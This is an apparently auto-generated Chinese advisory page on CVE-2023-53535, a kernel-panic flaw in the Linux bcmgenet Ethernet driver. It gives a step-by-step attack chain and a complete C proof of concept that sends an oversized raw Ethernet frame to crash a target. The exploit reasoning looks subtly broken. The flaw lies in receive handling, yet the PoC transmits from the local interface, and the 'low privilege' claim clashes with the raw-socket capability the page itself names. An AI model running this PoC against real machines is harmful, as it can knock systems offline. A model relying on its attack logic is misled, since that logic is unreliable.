IPBUF安全漏洞报告
English
CVE-2023-53535 CVSS 5.5 中危

CVE-2023-53535 Linux内核bcmgenet驱动超大数据包拒绝服务漏洞

披露日期: 2025-10-04
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2023-53535
漏洞类型
拒绝服务(缓冲区溢出/数据包处理异常)
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel(bcmgenet网络驱动)

相关标签

Linux KernelbcmgenetBroadcom拒绝服务DoS缓冲区溢出SKB网络驱动内核漏洞CVE-2023-53535

漏洞概述

CVE-2023-53535是Linux内核中bcmgenet网络驱动程序存在的一个拒绝服务漏洞。该漏洞源于驱动程序在处理网络数据包时未对超大数据包进行适当的检查。bcmgenet是博通(Broadcom)提供的以太网控制器驱动,广泛应用于多种嵌入式设备和SoC平台中。

在正常情况下,bcmgenet驱动会分配2KiB的SKB(Socket Buffer)来接收网络数据包。然而,在某些情况下,硬件可能会接收到超过2KiB标称缓冲区大小的超大数据包。当驱动程序处理这些超大数据包时,会触发skb_over_panic()函数,导致内核崩溃,从而引发系统拒绝服务。

该漏洞的CVSS评分为5.5,属于中危级别。虽然攻击需要本地权限和低权限要求,但由于其对系统可用性的高影响(可用性影响为高),仍然构成严重的安全威胁。该漏洞于2025年10月4日披露,影响多个Linux内核稳定版本。

此漏洞的修复通过在数据包处理早期添加大小检查来实现,当检测到超大数据包时直接丢弃,避免触发内核panic,从而保证系统的稳定运行。

技术细节

bcmgenet是Broadcom基因集(Genet)以太网MAC控制器的Linux内核驱动程序,支持多种博通SoC平台。该驱动在接收数据包时,会预先分配固定大小(通常为2KiB)的SKB缓冲区用于存储从硬件DMA传输过来的数据包内容。

漏洞的根本原因在于驱动缺少对接收数据包长度的边界检查。在特定条件下,硬件可能接收到长度超过分配缓冲区容量的数据包(例如由于网络异常、恶意构造的流量或硬件故障)。当驱动程序尝试将超过SKB分配大小的数据写入缓冲区时,会触发skb_over_panic()函数,该函数用于检测SKB缓冲区溢出并触发内核oops或panic。

skb_over_panic()是Linux内核中SKB(Socket Buffer)子系统的调试保护机制,当检测到SKB数据写入超出其分配的尾部空间时会触发。一旦被调用,会导致内核堆栈跟踪输出和系统崩溃,使整个系统不可用。

修复方案是在数据包接收处理的早期阶段(即数据从硬件DMA传输到SKB后、进一步处理之前)添加数据包大小检查。如果检测到数据包长度超过预期的最大缓冲区大小(例如超过2KiB),则直接丢弃该数据包并继续处理下一个数据包,从而避免触发skb_over_panic()。

该漏洞的利用条件较为严格:攻击者需要本地系统访问权限(PR:L),且无需用户交互(UI:N)。虽然机密性和完整性不受影响,但由于可用性影响为高(A:H),本地低权限用户可通过触发此漏洞导致系统拒绝服务。

攻击链分析

STEP 1
步骤1:获取本地访问权限
攻击者需要获得目标系统的本地低权限访问权限。由于漏洞的攻击向量为本地(AV:L)且权限要求为低(PR:L),普通用户账户即可满足条件。
STEP 2
步骤2:识别目标系统配置
攻击者确认目标系统是否使用bcmgenet网络驱动程序(常见于Broadcom SoC平台,如Raspberry Pi等嵌入式设备),并识别网络接口名称。
STEP 3
步骤3:构造超大网络数据包
攻击者创建一个超过2KiB的网络数据包(例如使用raw socket构造超过SKB缓冲区大小的以太网帧),该数据包大小超出bcmgenet驱动分配的SKB缓冲区容量。
STEP 4
步骤4:发送恶意数据包
通过原始套接字(raw socket)将构造的超大数据包发送到目标网络接口,触发bcmgenet驱动的数据包接收处理流程。
STEP 5
步骤5:触发内核panic
bcmgenet驱动在处理超大数据包时,由于缺少大小边界检查,数据写入超出SKB缓冲区尾部空间,触发skb_over_panic()函数,导致内核oops或panic。
STEP 6
步骤6:系统拒绝服务
内核panic导致系统完全不可用,需要手动重启恢复,造成可用性损失。如果系统在关键业务环境中,可能导致服务中断。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2023-53535 PoC - Trigger oversized packet handling in bcmgenet driver // This PoC demonstrates how to trigger the vulnerability by sending oversized packets // to a system using the bcmgenet network driver. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/if_packet.h> #include <linux/if_ether.h> #include <sys/ioctl.h> #include <net/if.h> #include <arpa/inet.h> #define OVERSIZED_PACKET_SIZE 4096 // Larger than the 2KiB SKB buffer #define INTERFACE_NAME "eth0" // Default bcmgenet interface name int main(int argc, char *argv[]) { int sockfd; struct ifreq ifr; struct sockaddr_ll sll; unsigned char packet[OVERSIZED_PACKET_SIZE]; const char *ifname = (argc > 1) ? argv[1] : INTERFACE_NAME; // Create raw packet socket sockfd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); if (sockfd < 0) { perror("socket"); return 1; } // Get interface index memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, ifname, IFNAMSIZ - 1); if (ioctl(sockfd, SIOCGIFINDEX, &ifr) < 0) { perror("ioctl SIOCGIFINDEX"); close(sockfd); return 1; } // Setup socket address structure memset(&sll, 0, sizeof(sll)); sll.sll_family = AF_PACKET; sll.sll_ifindex = ifr.ifr_ifindex; sll.sll_protocol = htons(ETH_P_ALL); // Construct an oversized Ethernet frame memset(packet, 0xFF, sizeof(packet)); // Set destination MAC packet[0] = 0xFF; packet[1] = 0xFF; packet[2] = 0xFF; packet[3] = 0xFF; packet[4] = 0xFF; packet[5] = 0xFF; // Set source MAC packet[6] = 0x00; packet[7] = 0x00; packet[8] = 0x00; packet[9] = 0x00; packet[10] = 0x00; packet[11] = 0x01; // EtherType packet[12] = 0x08; packet[13] = 0x00; // IPv4 printf("Sending oversized packet (%d bytes) on interface %s\n", OVERSIZED_PACKET_SIZE, ifname); // Send the oversized packet to trigger skb_over_panic() // The packet size exceeds the 2KiB SKB buffer allocated by bcmgenet if (sendto(sockfd, packet, OVERSIZED_PACKET_SIZE, 0, (struct sockaddr *)&sll, sizeof(sll)) < 0) { perror("sendto"); close(sockfd); return 1; } printf("Oversized packet sent. If vulnerable, kernel panic may occur.\n"); close(sockfd); return 0; }

影响范围

Linux Kernel < 6.6(受bcmgenet驱动漏洞影响)
Linux Kernel 6.6.x(部分版本)
Linux Kernel 6.1.x LTS(部分版本)
Linux Kernel 5.15.x LTS(部分版本)
Linux Kernel 5.10.x LTS(部分版本)
Linux Kernel 5.4.x LTS(部分版本)

防御指南

临时缓解措施
在无法立即升级内核的情况下,可以采取以下临时缓解措施:1)通过iptables或nftables规则限制网络接口接收超过2KiB的数据包;2)使用sysctl参数调整网络缓冲区相关设置;3)限制非特权用户使用CAP_NET_RAW能力,阻止其创建原始套接字;4)监控dmesg日志,及时发现skb_over_panic相关异常;5)在关键业务环境中部署高可用方案,避免单点故障;6)考虑在内核启动参数中添加skb相关的调试选项以辅助排查。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表